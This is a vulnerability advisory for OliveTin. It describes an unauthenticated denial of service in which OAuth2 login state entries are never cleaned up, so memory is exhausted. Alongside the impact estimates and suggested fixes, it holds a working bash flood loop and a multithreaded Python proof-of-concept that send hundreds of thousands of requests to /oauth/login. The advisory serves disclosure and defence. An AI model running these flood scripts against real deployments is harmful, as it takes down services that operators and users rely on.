OliveTin: Unauthenticated DoS via OAuth2 State Memory Exhaustion (Unbounded Map Growth)

Memory Impact Per State

Each map entry consists of:

• Key: ~24 bytes (base64 string)
• Value: *oauth2State struct containing:
  • providerConfig *oauth2.Config (pointer, 8 bytes + shared config)
  • providerName string (~8-16 bytes)
  • Username string (empty initially)
  • Usergroup string (empty initially)
• Go map overhead: ~100-150 bytes per entry

Estimated: ~200 bytes per state entry

At 1 million states ≈ 200 MB of memory consumed. At 10 million states ≈ 2 GB of memory consumed.

Attack Vector

The /oauth/login endpoint is publicly accessible (unauthenticated). Each request is lightweight (no heavy computation like argon2). The server writes a cookie and returns a 302 redirect. An attacker can send thousands of requests per second.

PoC

Prerequisites

• OliveTin instance with at least one OAuth2 provider configured
• Network access to /oauth/login

Config

listenAddressSingleHTTPFrontend: 0.0.0.0:1337
logLevel: "INFO"
checkForUpdates: false

authOAuth2RedirectUrl: "http://127.0.0.1:1337/oauth/callback"
authOAuth2Providers:
  github:
    clientId: "test-client-id"
    clientSecret: "test-client-secret"

actions:
  - title: noop
    shell: echo "ok"

Step 1: Baseline health check

curl -i http://127.0.0.1:1337/readyz
# Expected: 200 OK

curl -I "http://127.0.0.1:1337/oauth/login?provider=github"
# Expected: 302 Found (redirect to GitHub)

Step 2: Flood with state-creation requests

# Each request creates a new map entry that is never cleaned up
for i in $(seq 1 100000); do
  curl -s -o /dev/null "http://127.0.0.1:1337/oauth/login?provider=github" &
  # Throttle to avoid connection limits
  if (( i % 500 == 0 )); then
    wait
    echo "Sent $i requests..."
  fi
done
wait
echo "Flood complete"

Step 3: Python PoC for sustained memory exhaustion

#!/usr/bin/env python3
"""PoC: OAuth2 State Memory Exhaustion DoS

Distinct from CVE-2026-28789 (concurrent map crash).
This exploits unbounded growth of the registeredStates map.
"""

import requests
import time
import sys
from concurrent.futures import ThreadPoolExecutor

TARGET = "http://127.0.0.1:1337"
PROVIDER = "github"
WORKERS = 50
TOTAL_REQUESTS = 500000
BATCH_SIZE = 1000

def create_state(_):
    """Send /oauth/login to create a new state entry."""
    try:
        requests.get(
            f"{TARGET}/oauth/login?provider={PROVIDER}",
            allow_redirects=False,
            timeout=5
        )
        return True
    except Exception:
        return False

def check_health():
    """Check if the server is still responsive."""
    try:
        r = requests.get(f"{TARGET}/readyz", timeout=5)
        return r.status_code == 200
    except Exception:
        return False

print(f"[*] Target: {TARGET}")
print(f"[*] Provider: {PROVIDER}")
print(f"[*] Total requests: {TOTAL_REQUESTS}")
print(f"[*] Workers: {WORKERS}")
print()

if not check_health():
    print("[!] Server not reachable")
    sys.exit(1)

start_time = time.time()
total_created = 0

with ThreadPoolExecutor(max_workers=WORKERS) as executor:
    for batch_start in range(0, TOTAL_REQUESTS, BATCH_SIZE):
        batch_end = min(batch_start + BATCH_SIZE, TOTAL_REQUESTS)
        results = list(executor.map(create_state, range(batch_start, batch_end)))
        total_created += sum(results)

        elapsed = time.time() - start_time
        rate = total_created / elapsed if elapsed > 0 else 0
        est_memory = total_created * 200 / 1024 / 1024  # MB

        print(f"  States created: {total_created:>8} | "
              f"Rate: {rate:>6.0f}/s | "
              f"Est. memory: {est_memory:>6.1f} MB | "
              f"Healthy: {check_health()}")

        if not check_health():
            print(f"\n[!] Server became unresponsive after {total_created} states!")
            print(f"[!] Estimated memory consumed: {est_memory:.1f} MB")
            break

print(f"\n[*] Attack complete. {total_created} states created in {time.time()-start_time:.1f}s")

Step 4: Verify memory growth (Docker)

docker stats olivetin-instance --no-stream
# Observe MEM USAGE growing continuously during the attack

Impact

• Who is impacted: All OliveTin deployments with any OAuth2 provider configured
• Attack requirements: Unauthenticated network access to /oauth/login
• Effect: Gradual memory exhaustion leading to OOM kill or service degradation
• Persistence: Memory is never reclaimed (states are never deleted) even after the attack stops — a restart is required
• Distinction from CVE-2026-28789: That CVE was a race condition crash (concurrent map writes). This is unbounded memory growth that persists even with the mutex fix applied.

Suggested Fix

1. Add a TTL to OAuth2 states (e.g., 15 minutes matching the cookie MaxAge)
2. Add a maximum state count (e.g., 10,000) with LRU eviction
3. Clean up states after successful callback
4. Add periodic garbage collection for expired states